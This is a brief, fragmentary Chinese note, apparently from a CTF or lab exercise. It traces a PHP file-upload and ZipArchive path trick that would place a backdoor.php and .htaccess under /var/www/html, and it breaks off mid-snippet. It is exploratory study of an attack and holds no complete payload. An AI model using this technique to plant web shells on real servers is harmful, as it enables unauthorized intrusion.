关键点请从my开始看
$dir -> /tmp$subdir -> /$jsons$jsonDir -> /tmp/$jsons$escapeDir -> /var/www/html/$jsons$archiveFile -> /tmp/$jsons/archive.zip/tmp/$jsons/backdoor.php/tmp/$jsons/.htaccess$dev_dir -> 默认/tmp 可选$
额,变量太多了,直接找吧,貌似是这个利用点,但是为什么还是forbidden呢,环境还有么唉
<?php$file = 'foo-bar';touch($file);$zip = new ZipArchive();$zip->open('test.zip', ZipArchive::CREATE | ZipArchive::OVERWRITE);$options = array('add_path' => 'prefix-', 'remo ...